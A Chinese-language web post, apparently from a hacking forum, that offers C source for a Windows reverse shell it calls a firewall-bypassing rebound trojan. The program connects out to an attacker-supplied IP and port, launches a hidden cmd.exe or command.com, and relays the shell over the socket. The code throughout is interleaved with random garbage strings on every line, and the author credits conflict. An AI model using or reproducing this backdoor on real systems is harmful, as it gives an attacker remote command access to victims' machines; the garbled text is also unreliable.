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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "?35C !  
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/* ============================== oB p3JX9_f  
Rebound port in Windows NT ["u#{>(X  
By wind,2006/7 58::h. :  
===============================*/ ~(P&g7u  
#include 09'oz*v{#  
#include 30s; }  
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#pragma comment(lib,"wsock32.lib") =J](.78  
* r;xw  
void OutputShell(); Vz{>cSz#  
SOCKET sClient; GF*>~_Yr  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p}uncIod  
pr_>b`p6  
void main(int argc,char **argv) 28a$NP\KW  
{ $E\^v^LW  
WSADATA stWsaData; >TY6O.]  
int nRet; R::zuv  
SOCKADDR_IN stSaiClient,stSaiServer; \8e2?(@"k  
?E6^!4=,  
if(argc != 3) +1QK}H ~  
{ /& r|ec5  
printf("Useage:\n\rRebound DestIP DestPort\n"); +"dv7  
return; KFU%DU G  
} V,Q4n%h1.  
nBkh:5E5%  
WSAStartup(MAKEWORD(2,2),&stWsaData); O#)jr-vXdV  
49AW6H.JT  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X3',vey  
dxK9:IX  
stSaiClient.sin_family = AF_INET; k=$AhT=e}n  
stSaiClient.sin_port = htons(0); (,B#t7ka  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f"dSr  
s3:9$.tiR[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;'0=T0\  
{ 1Ipfw  
printf("Bind Socket Failed!\n"); Xh F _]  
return; D<>@ %"%  
} Ab2Q \+,  
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stSaiServer.sin_family = AF_INET; 5wv fF.v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !X]8dyW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1y(UgEg   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1_hW#I\'  
{ 9%tobo@J~n  
printf("Connect Error!"); ?s2^zT  
return; Su7bm1  
} C h19h8M  
OutputShell(); 1& ^?U{  
} '#.#$8l  
"g0(I8  
void OutputShell() qtMD CXZ^n  
{ PyBD  
char szBuff[1024]; .UQE{.?  
SECURITY_ATTRIBUTES stSecurityAttributes; i{Ds&{  
OSVERSIONINFO stOsversionInfo; UE.4q Y_7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; , jU5|2  
STARTUPINFO stStartupInfo; $!B}$I;cd  
char *szShell; ;j9\b9m  
PROCESS_INFORMATION stProcessInformation; `XKVr  
unsigned long lBytesRead; x#*QfE/E(@  
3I  $>uR  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9t$]X>}  
bm# (?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YlF%UPp  
stSecurityAttributes.lpSecurityDescriptor = 0; H,y4`p 0  
stSecurityAttributes.bInheritHandle = TRUE; -oP'4QVb  
\+ 0k+B4a  
R[jEvyD>(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &%mXYj3y5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?!'Zf Q:zK  
iM]o"qOQm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Nd@~>&F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ef)yQ  
stStartupInfo.wShowWindow = SW_HIDE; *F`A S>  
stStartupInfo.hStdInput = hReadPipe; h@ )  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -LW[7s$  
g[[;w*;z  
GetVersionEx(&stOsversionInfo); Ii &7rdoxe  
t:)ERT")  
switch(stOsversionInfo.dwPlatformId) @t*t+Vqw  
{ j Ux z  
case 1: +>\id~c(  
szShell = "command.com"; }H"kU2l  
break; eE@&ze>X  
default: [eUftr9&0  
szShell = "cmd.exe"; fo0+dzazY  
break; AUe# RP  
} \tN-(=T  
E3aDDFDH  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); XYr J/!*.  
)"+2Z^1-  
send(sClient,szMsg,77,0); 3W_PE+:Kr  
while(1) 2RM+W2!!  
{ j+-P :xvP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,Lr<)p  
if(lBytesRead) .6f%?oo  
{ Sa1 l=^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iyta;dw9  
send(sClient,szBuff,lBytesRead,0); >>{FzR  
} DA&?e~L&H  
else Np+&t}  
{ hr GH}CU"  
lBytesRead=recv(sClient,szBuff,1024,0); @]aOyb@  
if(lBytesRead<=0) break; [*:6oo98'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Pr ]Ka  
} TuDE@ gq(  
} E&$yuW^z  
Yz$3;  
return; 4m)OR  
}
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